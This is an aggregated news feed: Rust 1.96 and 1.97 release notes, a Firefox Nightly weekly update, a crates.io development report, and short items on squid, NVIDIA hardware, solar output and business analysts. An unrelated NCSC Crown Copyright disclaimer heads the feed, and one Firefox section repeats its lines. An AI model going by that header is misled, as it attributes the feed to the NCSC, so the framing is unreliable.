This report draws on information derived from NCSC and industry sources. Any NCSC findings and recommendations made have not been provided with the intention of avoiding all risks and following the recommendations will not remove all such risk. Ownership of information risks remains with the relevant system owner at all times. Any reference to specific commercial entities, products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply endorsement, recommendation, or favoring by co-sealers. UK readers should refer to the NCSC website for information about NCSC assured services. 



This information is exempt under the Freedom of Information Act 2000 (FOIA) and may be exempt under other UK information legislation.  


Refer any FOIA queries to ncscinfoleg@ncsc.gov.uk.  


All material is UK Crown Copyright © 










The Rust Programming Language Blog: Announcing Rust 1.96.0
Sat, 25 Jul 2026 08:37:36 +0200
The Rust team is happy to announce a new version of Rust, 1.96.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.96.0 with:
$ rustup update stable
If you don't have it already, you can get rustup from the appropriate page on our website, and check out the detailed release notes for 1.96.0.
If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (rustup default beta) or the nightly channel (rustup default nightly). Please report any bugs you might come across!

What's in 1.96.0 stable

New Range* types
Many users expect Range and related core::ops types to be Copy, but this is not the case: they implement Iterator directly, and it is a footgun to implement both Iterator and Copy on the same type so this has been avoided. RFC3550 proposed a set of replacement range types that implement IntoIterator rather than Iterator, meaning they can also be Copy. The standard library portion of that RFC is now stable, introducing:

core::range::Range
core::range::RangeFrom
core::range::RangeInclusive
Associated iterators

A Rust version in the near future will also add core::range::RangeFull and core::range::RangeTo as re-exports from core::ops (these do not implement Iterator and already implement Copy), and core::range::legacy::* as the new home for the current ranges. Range syntax like 0..1 still produces the legacy types for now, but will be updated to core::range types in a future edition.
With these stabilizations, it is now possible to store slice accessors in Copy types without splitting start and end:
use core::range::Range;

#[derive(Clone, Copy)]
pub struct Span(Range<usize>);

impl Span {
    pub fn of(self, s: &str) -> &str {
        &s[self.0]
    }
}
The new RangeInclusive also makes its fields public, unlike the legacy version which avoided exposing the exhausted iterator state. This isn't a concern with the new type since it must be converted to begin iteration.
Library authors should consider making use of impl RangeBounds in public API, which accepts both legacy and new range types. If a concrete type is needed, prefer using new ranges as this will eventually become the default.

Assert matching patterns
The new macros assert_matches! and debug_assert_matches! check that a value matches a given pattern, panicking with a Debug representation of the value otherwise. These are essentially the same as assert!(matches!(..)) and debug_assert!(matches!(..)), but the printed value improves the possibility of diagnosing the failure.
These new macros have not been added to the standard prelude, because they would collide with popular third-party crates that provide macros with the same name. Instead, they should be manually imported from core or std before use.
use core::assert_matches;

/// [Random Number](https://xkcd.com/221/)
fn get_random_number() -> u32 {
    // chosen by a fair dice roll.
    // guaranteed to be random.
    4
}

fn main() {
    assert_matches!(get_random_number(), 1..=6);
}

Changes to WebAssembly targets
WebAssembly targets no longer pass --allow-undefined to the linker which means that undefined symbols when linking are now a linker error instead of being converted to WebAssembly imports from the "env" module. This change prevents modules from linking unless all linking-related symbols are defined to catch bugs earlier and prevent accidental issues with symbol naming or similar.
Undefined linking-related symbols are often indicative of build-time related bugs or misconfiguration. If, however, the old behavior is intended then it can be re-enabled with RUSTFLAGS=-Clink-arg=--allow-undefined or by editing the source code and using #[link(wasm_import_module = "env")] on the block defining the symbol.
This change was previously announced on this blog, and now takes effect in Rust 1.96.

Stabilized APIs

assert_matches!
debug_assert_matches!
From for AssertUnwindSafe
From for LazyCell
From for LazyLock
core::range::RangeToInclusive
core::range::RangeFrom
core::range::RangeFromIter
core::range::Range
core::range::RangeIter


Two Cargo advisories
Rust 1.96 contains fixes for two vulnerabilities for users of third-party registries.


CVE-2026-5223 is a medium severity vulnerability regarding extraction of crate tarballs with symlinks.


CVE-2026-5222 is a low severity vulnerability regarding authentication with normalized URLs.


Users of crates.io are not affected by either vulnerability.

Other changes
Check out everything that changed in Rust, Cargo, and Clippy.

Contributors to 1.96.0
Many people came together to create Rust 1.96.0. We couldn't have done it without all of you. Thanks!


Firefox Nightly: Backup for a Rainy Day – These Weeks in Firefox: Issue 202
Sat, 25 Jul 2026 08:37:35 +0200
Highlights

The profile backup mechanism has been enabled by default for all desktop platforms in Nightly, as well as Beta! The current plan is to have this ride out to Firefox 151 for Windows, macOS and Linux on May 18th!

This feature, when enabled, will create a copy of your profile data in the background and store it in a single file on your file system that you can restore from.
You will be able to manage this feature in Settings under Sync (for now)




You can read more about the feature here


As followups to the recent addition to the WebExtension tabs API to support the new SplitView tabs feature, tabs.group() and tabs.ungroup() have been fixed to work correctly with split view tabs, and fixed split views being prepended instead of appended to tab groups when adopted into a new window – Bug 2029099 / Bug 2029534
Adaptive autofill has been enabled on Nightly.

Previously, autofill only completed domains (e.g. typing red autofilled reddit.com). Now it can also complete full URLs for pages you visit often (e.g. red → reddit.com/r/firefox), learning from what you actually click in the address bar. If a suggestion isn’t helpful, you can now dismiss it so autofill learns what not to show you too.

If you run into issues or have feedback, you can file a bug here!




Markus Stange [:mstange] implemented dynamic toolbar on top in RDM (#1978145), but also implemented some static skeleton UI so it’s closer to what we actually have in Firefox for Android

dynamic toolbar is behind a pref: devtools.responsive.dynamicToolbar.enabled
it can be put on top by setting devtools.responsive.dynamicToolbar.onTop, otherwise it’s at the bottom




Friends of the Firefox team
Resolved bugs (excluding employees)
Script to find new contributors from bug list
Volunteers that fixed more than one bug

Amin Amir
aoia7rz7l
Chukwuka Rosemary
DrSeed
Frédéric Wang Nélar
japandi
John Iweh
jonathancabera
Josh Aas
Keji Bakare
kofoworola shonuyi
konyhéa
liz
Mathew Hodson
Okhuomon Ajayi
Oluwatobi
ROSHAAN
Sam Johnson

New contributors (🌟 = first patch)

 Anthony Mclamb: Disable the legacy Edge migrator
 Amin Amir

🌟Fix browsingContext.sys.mjs to assign to #contextCreatedHandled instead of contextCreatedHandled
Fix missing WITHOUT ROWID SQLite performance optimization in SERPCategorization.sys.mjs
🌟 Amine Zroual: Omitted maxResults property not handled correctly in getRecentlyClosed


any1here: install_sig_alt_stack incorrectly checks mmap’s return value
🌟 Armin Ulrich: Fix MessageHandlerRegistry.sys.mjs calling getExistingMessageHandler with an unused second argument
japandi

Cannot remove amazon.com from top sites list
The height of the pinned tabs area should be responsive to the number of pins
Use cenum for nsIHelperAppLauncherDialog reason constants to enable better typescript annotations


Nathan Johnson [:narjoDev]: Remove browser.display.use_system_colors pref
DrSeed

Firefox shows vertical tabs in new windows despite “Hide tabs and sidebar” setting
The “Expand sidebar on hover” option is not kept after the vertical tabs are disabled and enabled again


Keji Bakare:

Split view’s focus-outline is clipped on the right side of left tab
White space on the right side of left panel in split view


🌟 gotyaoi: Reload toolbar button is active on about:newtab
Itoro James: [A11y][Keyboard Navigation]Cancelling a note via Keyboard Navigation still saves it
John Iweh: The notification dot is not displayed if the tab is in a Split View
🌟 John Iweh: sidebar-shown attribute remains when sidebar.revamp is false
🌟 jonathancabera:

The Move tab to Split View option is also displayed for the tabs that are within the Split View
A Note with long text (1003 characters) is saved by pressing ENTER even if the “Save” button is disabled
Tab group guide line becomes disconnected under certain conditions related to split views in vertical tab mode


Aloys: Remove logic that forces distribution language packs to be reinstalled when upgrading from Firefoxes older than 67
liz:

Create test to ensure maxRenderCountEstimate is never being set to Infinity in virtual-list component in Fx View
Button accessible name does not convey its function: missing topic context (Settings dialog > Topics dialog > buttons Following/Unfollow/Blocked/Unblock)


Mary cathline: Tab Group Label does not respect touch density in vertical tab bar
🌟 Brandon Lucier: Popups opened with window.open give window type normal instead of popup
karan68: [dialog] New Shortcut dialog needs a label/accessible name
🌟 Vector: Button does not programmatically indicate that it opens a dialog (Recent activity section > story card > ••• disclosure > Delete from History button)
🌟 Osoble: Update font size and weight for synced tabs device name headers in Firefox View
konyhéa:

Add test for sync admin disabled to browser_syncedtabs_errors_firefoxview.js
Check all second paramaters for TestUtils.waitForCondition in Fx View test files
Recently Closed Tabs, Tabs from Other Devices, and History pages should have Cmd / Ctrl + Click on a link open the link in the new background tab.


Noble Chinonso: #shouldHandleEvent in SidebarTreeView.js compares event.keyCode to string values, causing Home/End keys to never be handled
Pranjali Srivastava: Add a test to verify that the space above tabs is consistent across PB, LWT and sizemode (where appropriate)
Okhuomon Ajayi:

More spacing is needed between the tab note icon and the close icon on the tab
The tabs in vertical mode collapsed state are positioned differently in Split View
Keep vertical split view tabs stacked vertically even when the sidebar is expanded when expand on hover is enabled
Vertical split view tabs can be too big or small when tabs are overflowing


🌟 Rishan: Fix duplicated arrow function in browser_history_sidebar.js
Chukwuka Rosemary:

“Forget About This Site” context menu option missing from Firefox View history
Long strings are not displayed properly on the about:opentabs page search filed
Add test for Forget This Site option in Fxview history context menu.


ROSHAAN:

🌟Tab note background colour is incorrect for default light theme
 [win/linux] The splitter between content areas does not match Figma spec
Fix typo in OpenInTabsUtils.confirmOpenInTabs()


Sameeksha: Disclosure button expanded/collapsed state not programmatically defined (Customize button)
kofoworola shonuyi:

🌟Actually hide or remove sidebar-shown attribute when in fullscreen.
Add a test for checking sidebar-shown attribute in fullscreen mode


🌟 Sayd Mateen: Page URL is displayed as tab name when page’s contains about:reader?
 


Oluwatobi:

Unable to delete selected history entries from sidebar
Incorrect Sidebar button state/tooltip hover text
The city name heading level doesn’t follow the correct heading level order


Nishchay [:nish]: Unable to add tabs to old closed tab groups (tabGroupState.splitViews is undefined)

 
Project Updates
Add-ons / Web Extensions
Addon Manager & about:addons

In preparation for the Project Nova restyling of the about:addons page, we have refactored about:addons into separate per-component ES modules, splitting the monolithic aboutaddons.js and aboutaddons.html into 16 dedicated component files under components/ (with no behavior or UI changes) – Bug 2032014

NOTE: if you have working on patches with changes to about:addons internals it is very likely you’ll need to rebase and solve merge conflicts hit on top of this refactoring, the internals are still largely the same as before but don’t hesitate to reach out to the Addons team if you have doubts / questions or need help to figure out how to adapt your patch of top of these changes



WebExtensions Framework

Fixed exportFunction to preserve the constructibility of the wrapped function instead of unconditionally making all exported functions implicitly as constructors – Bug 2033173

Thanks to Gregory Pappas for contributing this improvement to the Content Scripts’ Xray Wrappers helpers!


Fixed a Firefox 151 regression where extension content scripts accessing location.ancestorOrigins caused subsequent page script reads of the same property to fail with “Permission denied”, breaking sites like Gmail – Bug 2034329

Thanks to Simon Farre for promptly investigating and fixing this recent regression!



WebExtension APIs

Updated sessions.getRecentlyClosed() to remove the hardcoded cap when maxResults is omitted – Bug 1392125

Shoutout to Amine Zroual for contributing this enhancement to the sessions WebExtensions API!



DevTools

Artem Manushenkov fixed an issue where autosuggestion popup was removing overridden indicators from properties in the Inspector (#1983408)
Andrea Marchesini [:baku] fix DevTools cookie header serialization for long cookies, which could lead to cookies not being visible in Netmonitor (#2031299)
Julian Descottes [:jdescottes] fixed a toolbox crash that was happening we couldn’t find a localization file (e.g. when using a language pack on Nightly) (#2028930)
Nicolas Chevobbe [:nchevobbe] improved @container tooltip so it show the value of variables used in style()(#2030239), has enough contrast in dark mode (#2033782) and contains a link to select the container (#2031688)




Hubert Boma Manilla (:bomsy) is making good progress on migrating the Console to CodeMirror 6 (#2032758, #2026569)

Fluent

We’re now at over 72% of our strings being Fluent! Got a component still using .properties? Convert when you can!


Migration Improvements

Thanks to dao for fixing a recent alignment issue in the migration wizard dropdown
Thanks to volunteer contributor Anthony Mclamb for his patch that disables the legacy EdgeHTML Edge migrator! Once that finishes rolling out, presuming no surprises, we’ll go ahead and remove the migrator entirely.

New Tab Page

Nova for New Tab has ridden the trains to Beta! It will be enabled by default, globally, when Firefox 151 goes out to release on May 19th

It’s possible that we’ll do a train-hop coupled with an experiment to enable HNT Nova for a few clients a bit earlier.


Maxx Crawford enabled Nova designs for New Tab, rolling out the updated layout, widgets, and customization panel behind HNT Nova flags.
Maxx Crawford fixed the Nova content feed to render the intended four‑column layout by correcting CSS grid breakpoints.
Maxx Crawford resolved a first‑load failure in the Weather widget by fixing init order and fetch timing, eliminating the “Oops” error.
Maxx Crawford synchronized the Weather toggle between about:preferences#home and the panel via the shared showWeather pref to prevent desync.
Maxx Crawford updated Nova grid focus order to align tab flow with visual order for keyboard users.
Maxx Crawford fixed critical UI issues in Lists and Timer widgets covering overflow, controls, and layout stability.
Maxx Crawford guarded document.dir access in Nova render paths to avoid startup cache worker errors and improve startup stability.
Rolf added a new normalization method for the inferred interest vector to stabilize topic relevance across sessions.
Rolf prevented unnecessary content refreshes during Pocket New Tab experiments, reducing jank and bandwidth.
Sameeksha defined the Customize button’s expanded/collapsed state programmatically using aria-expanded for better a11y.
liz clarified follow/unfollow/blocked button names with topic context so screen readers announce clear actions.
Vector marked the Delete from History control as opening a dialog via aria-haspopup=dialog for assistive tech.
Scott Downe fixed a regression that flipped the Wallpapers pref off, restoring user selections.
Irene Ni corrected privacy link color and focus styles for contrast and keyboard visibility.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.
Reem Hamoui added a wallpaper toggle reset in the Nova customization panel so users can quickly restore default wallpapers without extra steps.
Reem Hamoui fixed the Customize pencil button to match the Nova spec, aligning placement and iconography for visual consistency.
Dre updated the ‘Fresh new’ wallpapers copy to a clearer, localized message for better comprehension.
Irene Ni fixed Nova privacy link color and focus styles to meet contrast and focus ring guidelines, improving accessibility on New Tab.
Irene Ni adjusted Sponsored tile character limits to prevent truncation/overflow, yielding cleaner titles across grid and wide tiles.
Scott Downe fixed a regression that flipped the Wallpapers user pref to false, restoring wallpapers for affected users and preventing unintended disablement.
Reem Hamoui hooked the wallpaper check into the new toggle logic so the Customization Panel accurately reflects wallpaper availability and state.
Irene Ni landed Nova UI updates for the Daily Briefing 3-pack card, improving spacing, type scale, and tap targets.

Search and Urlbar

Marco has fixed a couple of issues with the places databases to try and improve stability. This should help with avoiding users losing bookmarks or favicons.
Work continues on the new separate search bar to improve the functionality, e.g. allowing middle click to perform a search in a new tab, avoiding performing a search when adding a search engine.
Work also continues on the new Nova layouts.

Smart Window

uplifted 10 bugs to 150.0.1 dot release addressing initial user feedback from diary study and Connect

jump to bottom of conversation 2028692
stop streaming button 2029204
back/forward navigation from assistant 2029229
dark mode for various chips 2024499


search engine switching from smart bar 2021973
Nova styling within smart window 2026794

Storybook/Reusable Components/Acorn Design System

Dustin converted moz-breadcrumb-group variables into JSON design tokens Bug 2029181 – Convert moz-breadcrumb-group variables into JSON design tokens
Dustin converted moz-box-* variables into JSON design tokens Bug 2029180 – Convert moz-box-* variables into JSON design tokens
Dustin converted moz-promo variables to JSON design tokens Bug 2029190 – Convert moz-promo variables into JSON design tokens
Dustin converted moz-reorderable-list variables to JSON design tokens Bug 2029191 – Convert moz-reorderable-list variables into JSON design tokens
Dustin converted moz-visual-picker variables to JSON design tokens Bug 2029193 – Convert moz-visual-picker-item variables into JSON design tokens
Dustin updated browser-shared.css so it passes use-design-tokens Bug 2022985 – Update browser-shared.css so it passes use-design-tokens
Dustin updated popup.css so it passes use-design-tokens Bug 2022979 – Update popup.css so it passes use-design-tokens
Jon added opacity tokens and added opacity to use-design-tokens stylelint rule  Bug 1955325 – Create opacity tokens
Jon converted toolbar design tokens to JSON Bug 2017970 – Convert toolbar design tokens to json
Anna fixed moz-select with panel-list drop-down size inconsistency Bug 2032365 – Applications Action drop-down menus sometimes have a different size when opened
Anna fixed issue with the disabled state of moz-radio component Bug 2027123 – moz-radio disabled state cannot be changed while the moz-radio-group is disabled
Anna updated moz-button and moz-box-button components to prevent label corruption when accesskeys are present and the label changes.   Bug 2022326 – moz-button with accesskey label becomes corrupted when l10nId updates dynamically

UX Fundamentals

The error pages shown when a server sends back an invalid response header or an unsupported content encoding now display accurate, context-specific messages. The invalid response header page also gained a helpful list of next steps. – 2027209
In progress: The error page illustrations are being replaced with new artwork, and the system now supports per-illustration size configuration, giving each image the ability to define its own appropriate dimensions. – 2031837

Settings Redesign

Tim converted settings related to Accessibility page to config-based pane Bug 1968116 – Convert settings related to Accessibility page to config-based settings
Benjamin converted Privacy & Security page to the config-based pane Bug 1968112 – Convert settings related to Privacy & Security page to config-based settings
Finn integrated Firefox Labs page into setting-pane config Bug 2021047 – Integrate Firefox Labs page into setting-pane config
Anna converted Firefox Updates section to config-based prefs Bug 1990961 – Convert Firefox Updates section to config-based prefs
Mark Kennedy added moz-promo, that is welcoming users to the redesigned settings Bug 2015093 – Add a moz-promo to welcome users to the redesign




Anna added possibility to search for actions in the redesigned “Applications” section Bug 2020370 – It’s no longer possible to search for actions in the new “Applications” section
Anna fixed the Settings navbar layout breakage



The Rust Programming Language Blog: Announcing Rust 1.97.0
Sat, 25 Jul 2026 08:37:20 +0200
The Rust team is happy to announce a new version of Rust, 1.97.0. Rust is a programming language empowering everyone to build reliable and efficient software.
If you have a previous version of Rust installed via rustup, you can get 1.97.0 with:
$ rustup update stable
If you don't have it already, you can get rustup from the appropriate page on our website, and check out the detailed release notes for 1.97.0.
If you'd like to help us out by testing future releases, you might consider updating locally to use the beta channel (rustup default beta) or the nightly channel (rustup default nightly). Please report any bugs you might come across!

What's in 1.97.0 stable

Symbol mangling v0 enabled by default
When Rust is compiled into object files and binaries, each item (functions,
statics, etc) must have a globally unique "symbol" identifying it. To avoid
conflicts when linking together different Rust programs, Rust mangles the
original name of items to include additional context such as the module path,
defining crate, generics, and more. Historically, this mangling was based on
the Itanium ABI,
also (sometimes) used by C++.
The new mangling scheme resolves a number of drawbacks from the previous one:

Generic parameter instantiations preserve their values, rather than being tracked solely behind a hash
Inconsistencies: not all parts used the Itanium ABI, meaning that custom demangling was still necessary

Since Rust 1.59, the compiler has supported opting into a Rust-specific
mangling scheme via -Csymbol-mangling-version=v0. Since November 2025, this
scheme has been enabled by default on nightly, and 1.97 is now enabling it on
stable Rust. The legacy mangling scheme can only be enabled on nightly, and the
current plan is to fully remove it.
See the previous blog post for more details.

Cargo support for denying warnings
It's common practice to deny warnings in CI. Historically, doing so is
typically done through RUSTFLAGS=-Dwarnings. With Rust 1.97, Cargo controls
how warnings interact with build success: either silencing them (via allow
level), rendering without failing (default, warn), or denying them (via deny).
As a  result of Cargo configuration determining the behavior, using this
feature doesn't invalidate the underlying build cache, meaning that it's easy
to temporarily opt-in. For example, if warnings are adding unwanted noise while
working through fixing errors after a refactor, you can run
CARGO_BUILD_WARNINGS=allow cargo check, temporarily silencing them.
In CI, jobs can instead set CARGO_BUILD_WARNINGS=deny to deny warnings. This
can be combined with --keep-going to collect all errors and warnings rather
than stopping on the first failing package.
See the documentation for more details.

Linker output no longer hidden by default
rustc invokes a linker on behalf of users. Historically, rustc has silenced
linker output by default if the link completes successfully. This can mask real
problems, though, so in Rust 1.97 we are enabling linker messages by default.
These are emitted as a warning lint, for example:
warning: linker stderr: ignoring deprecated linker optimization setting '1'
  |
  = note: `#[warn(linker_messages)]` on by default
Common linker messages that have been diagnosed as false positives or intentional behavior
are filtered out by rustc. Several defects have already been fixed as a result
of no longer hiding this output on nightly.
Note that currently, linker_messages is a special lint that is not affected
by the warnings lint group. This is intentional as rustc generally doesn't
control linker output as precisely, and it's not uncommon for output to only
appear on some platforms. If you are seeing what you think is a false positive
output from the linker, please file an issue.
To silence the warning in the mean time, you can configure the lint level to
allow. This can be done through Cargo.toml by adding a lints section like this:
[lints.rust]
linker_messages = "allow"

Stabilized APIs

Default for RepeatN
Copy for ffi::FromBytesUntilNulError
Send for std::fs::File on UEFI
<{integer}>::isolate_highest_one
<{integer}>::isolate_lowest_one
<{integer}>::highest_one
<{integer}>::lowest_one
<{uN}>::bit_width
NonZero<{integer}>::isolate_highest_one
NonZero<{integer}>::isolate_lowest_one
NonZero<{integer}>::highest_one
NonZero<{integer}>::lowest_one
NonZero<{uN}>::bit_width

These previously stable APIs are now stable in const contexts:

char::is_control


Other changes
Check out everything that changed in Rust, Cargo, and Clippy.

Contributors to 1.97.0
Many people came together to create Rust 1.97.0. We couldn't have done it without all of you. Thanks!


The Rust Programming Language Blog: crates.io: development update
Sat, 25 Jul 2026 08:37:18 +0200
Another six months have passed since our last development update, and the crates.io team has been busy. Here's a summary of the most notable changes and improvements made to crates.io since then.

Source Code Viewer
Crate pages now have a "Code" tab that lets you browse the contents of published crate versions directly on crates.io. This shows you the exact files that cargo downloads when you add a crate as a dependency, which might differ from the linked repository. This makes it much easier to audit your dependencies, including files that never appear in the repository, like the normalized Cargo.toml files that cargo generates.

The viewer comes with a file tree sidebar with search functionality, syntax highlighting, and GitHub-style line selection, where clicking or dragging line numbers produces shareable #L10-L20 URLs.
Under the hood, the server now builds a zip file for every published version. Since the .crate files that cargo consumes are gzipped tarballs without random access support, a background job re-packs each of them into a seekable zip archive plus a JSON manifest describing the contained files. Both are served from our static CDN. The frontend then fetches only the manifest and loads each file on demand with an HTTP range request. Because of this architecture, browsing crate sources essentially adds no load on the crates.io API servers. Existing crate versions have been backfilled, so this works for old releases too.
The rendering library behind the code viewer is a diff renderer at heart, and that's no accident: a version-to-version diff viewer built on the same infrastructure is currently in the works. This will allow you to review exactly what changed between two published versions, right on crates.io. Stay tuned!

Untangling crates.io Accounts from GitHub
At the end of May, the crates.io team accepted RFC #3946. Crates.io accounts always have been tightly coupled to GitHub: signing in means "Log in with GitHub", and your crates.io identity is your GitHub username. The RFC changes that. It introduces usernames that are native to crates.io and independent of linked GitHub accounts, as a prerequisite for eventually supporting login via other identity providers.
The implementation of crates.io usernames has started, but there is still a lot left to do, most visibly the ability to change your crates.io username. After that is complete, there will be future RFCs and implementation for signing in with identity providers other than GitHub. Since all of this touches authentication and account security, we are deliberately taking it slow and rolling these changes out in small, carefully reviewed steps.

Advisories and Suggestions
In our January update we introduced the "Security" tab, which shows security advisories from the RustSec database. We have since taken this integration one step further: crates that RustSec has flagged as unmaintained now show a warning banner directly on their crate pages, linking to the corresponding advisory for details and possible alternatives. Thanks to Dirkjan Ochtman for implementing this feature!

Related to this, some popular crates have been largely absorbed into the Rust standard library over the years, like lazy_static, which has been superseded by std::sync::LazyLock since Rust 1.80. Crate pages of such crates now show a friendly "You might not need this dependency" banner describing the standard library replacement, and superseded crates in dependency lists get a small light bulb icon with a similar hint.

The dataset behind this feature lives in the new rust-lang/std-replacement-data repository, together with a documented inclusion policy: standard library replacements only, every entry must cite the stable std, core, or alloc API and Rust version, and crate maintainers get a notice-and-comment window before an entry is added. New entries can be proposed upstream and can benefit other tools too.

Ferris
The most delightful change of this cycle: the Ferris on our error pages now follows your mouse cursor with its eyes:

Getting a 404 error on crates.io is now slightly less sad.

Svelte Frontend Migration Completed
In our January update, we announced that we were experimenting with porting the crates.io frontend from Ember.js to Svelte. This experiment has concluded successfully: the new frontend reached feature parity, went through a public testing phase in April, became the default at the beginning of May, and the Ember.js app has been removed from our repository.
We designed this change to be invisible for our users, since the new frontend is a 1:1 port of the previous design and functionality. For the team and our contributors, however, it is a big deal: the frontend is now built on a more modern framework, which should make it easier for new contributors to get started. It also allows us to iterate faster, as the source code viewer above demonstrates.
We want to thank the Ember.js team for a framework that served crates.io well for many years, and the Svelte team for making the transition so enjoyable.

Miscellaneous
These were some of the more visible changes to crates.io over the past six months, but a lot has happened "under the hood" as well:


Search performance: Relevance-sorted search queries previously ranked every crate matching the query, which could take 1-2 seconds for short or common search terms. Ranking is now bounded to the 1,000 matching crates with the highest recent download counts.


Reverse dependencies performance: The reverse dependencies endpoint no longer recomputes the full dependent set on every request. It is now served from a precomputed table kept in sync by database triggers, turning an expensive join into a bounded index scan and greatly reducing the chance of getting a timeout error.


New ARCHITECTURE.md: If you've ever wondered how crates.io actually works, our ARCHITECTURE.md document got a complete rewrite. It is now organized around the high-level systems that make up crates.io and how they fit together, and includes walkthroughs of what happens when you run cargo publish, why a typical crate download never touches our API servers, and how download counts are derived from CDN access logs.


Definition lists: READMEs now render Markdown definition lists, a widely used Markdown extension. Our markdown renderer comrak already supported them, the extension just wasn't enabled yet. Thanks to @mistaste for this contribution!


CDN cache tags: Files uploaded to our static CDN now carry cache-tag metadata, allowing us to invalidate all cached files of a crate or a specific release in a single operation, instead of issuing one invalidation per file URL.


Caching improvements: We removed a global Vary: Cookie response header that was preventing our CDNs from caching public API responses and frontend assets effectively. Per-user responses now use Cache-Control: no-store instead, resulting in better cache hit rates at the CDN edge.


Accessibility: We have made crates.io friendlier to screen readers: decorative icons are now hidden from the accessibility tree, heading hierarchies have been fixed, and lists are marked up as proper lists. ARIA snapshot tests now ensure that regressions can't slip in unnoticed. We plan to continue to improve crates.io accessibility over the coming months.


Git index performance: The background worker's local clone of the git index is now a bare and shallow repository, eliminating roughly 250,000 checked-out files and the full commit history from its disk, improving its performance as we see increased rates of crate publication. The periodic index squashing now goes through the GitHub API instead of generating large git packs locally, which had previously caused out-of-memory failures on the production worker.



Feedback
We hope you enjoyed this update on the development of crates.io. If you have any feedback or questions, please let us know on Zulip or GitHub. We are always happy to hear from you and are looking forward to your feedback!


Friday Squid Blogging: Squid Washing Up on Cape Cod Beach
Sat, 25 Jul 2026 08:37:04 +0200
Lots of articles about this.
As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.
Blog moderation policy.


Friday Squid Blogging: Illex Squid Catch in the Falklands
Sat, 25 Jul 2026 08:36:56 +0200
Lower catch this year.
As usual, you can also use this squid post to talk about the security stories in the news that I haven’t covered.
Blog moderation policy.


AI Agents as "Games Masters"? 🎮🔥
Sat, 25 Jul 2026 08:36:30 +0200
Author: Two Minute Papers - Bewertung: 150x - Views:17300 
Check the pinned comment for the link to the full interview. Could AI agents eventually become the "Games Master" driving your gaming storylines? We explore the concept of AI assisting players or creating dynamic, non-scripted narratives. Discover how AI is currently being tested inside immersive game environments to change how we play. 🧠 

Hashtags: #aiingames #gaming #ai #gamedev #futuretech



NVIDIA Built a GPU in The Size of a FACTORY That Can Wipe Out Entire AI Hardware INDUSTRY!
Sat, 25 Jul 2026 08:36:02 +0200
Author: Evolving AI - Bewertung: 452x - Views:13629 
NVIDIA just unveiled Rubin, but this isn't just another GPU. It's a complete AI factory built to power the next generation of artificial intelligence. In this video, we break down NVIDIA's Vera Rubin platform, a fully co-designed AI system that combines the Vera CPU, Rubin GPU, NVLink 6, BlueField-4 DPU, ConnectX-9 SuperNIC, and Spectrum networking into one massive AI infrastructure platform. You'll learn why Rubin delivers up to 50 petaflops of AI inference, 288GB of HBM4 memory per GPU, 3.6 exaflops of compute per NVL72 rack, over 260TB/s of NVLink bandwidth, and why NVIDIA claims up to 10x lower AI inference costs than Blackwell. We also explore why AI companies like Microsoft, OpenAI, Anthropic, Meta, xAI, Google, AWS, Oracle, and CoreWeave are already adopting Rubin, and why NVIDIA believes the future of AI isn't a faster GPU; it's an entire factory built to manufacture intelligence. Is Rubin the biggest leap in AI hardware yet, or the beginning of a completely new era of AI infrastructure?



#NVIDIA #Rubin #AIFactory #AIChips #ArtificialIntelligence #HBM4 #DataCenter



Studie belegt: Solaranlagen fallen bei Extremhitze fast komplett aus
Sat, 25 Jul 2026 07:21:36 +0200
Der Beitrag Studie belegt: Solaranlagen fallen bei Extremhitze fast komplett aus erschien zuerst beim Online-Magazin BASIC thinking. Über unseren Newsletter UPDATE startest du jeden Morgen bestens informiert in den Tag.
Der Klimawandel gefährdet zunehmend die europäische Stromversorgung, da extreme Sommertemperaturen nachhaltige Infrastruktur belasten. Eine neue wissenschaftliche Untersuchung zeigt, dass Solaranlagen bei Hitze massive Leistungseinbrüche von bis zu 90 Prozent erleiden können.  Ein Forscherteam der Universität Évora in Portugal hat die Auswirkungen extremer Hitzephasen auf Solaranlagen auf der Iberischen Halbinsel in den Jahren 2024 und 2025 […]
Der Beitrag Studie belegt: Solaranlagen fallen bei Extremhitze fast komplett aus erschien zuerst auf BASIC thinking. Folge uns auch auf Google News und Flipboard oder abonniere unseren Newsletter UPDATE.


What is a business analyst? A key role for business-IT efficiency
Sat, 25 Jul 2026 06:16:45 +0200

		
					  
						




What is a business analyst?



Business analysts (BAs) are responsible for bridging the gap between IT and the business using data analytics to assess processes, determine requirements, and deliver data-driven recommendations and reports to executives and stakeholders.



BAs engage with business leaders and users to understand how data-driven changes to process, products, services, software, and hardware can improve efficiencies and add value. They must articulate those ideas but also balance them against what’s technologically feasible and financially and functionally reasonable. Depending on the role, a business analyst might work with data sets to improve products, hardware, tools, software, services, or process.



The International Institute of Business Analysis (IIBA), a nonprofit professional association, considers the business analyst an agent of change, and says that business analysis is a disciplined approach to introduce and manage change to organizations, whether they’re for-profit businesses, governments, or nonprofits.



Impact of AI on business analyst role



As AI becomes commonplace in the tech industry, business analysts are embracing it as a tool to automate repetitive work in the role. AI tools can be used for workflow and diagramming, process mapping, data analysis, and to automate meeting minutes and transcribe meetings where requirements are established, all designed to speed up the process of analyzing data, creating visuals, and transcribing and writing user stories and acceptance criteria.



AI tools can also help identify patterns, insights, and unique data points that might go unnoticed by humans, and allow a faster time to generate insights for organizations.



Of course, as with all AI tools, they still require humans to oversee prompts, scripting, and evaluate AI outputs to ensure they’re accurate and valid. While they can’t replace the work of BAs, AI can help them spend more time on thoughtful analysis and decision making, rather than mundane tasks such as gathering and summarizing data, and querying.



Business analyst job description



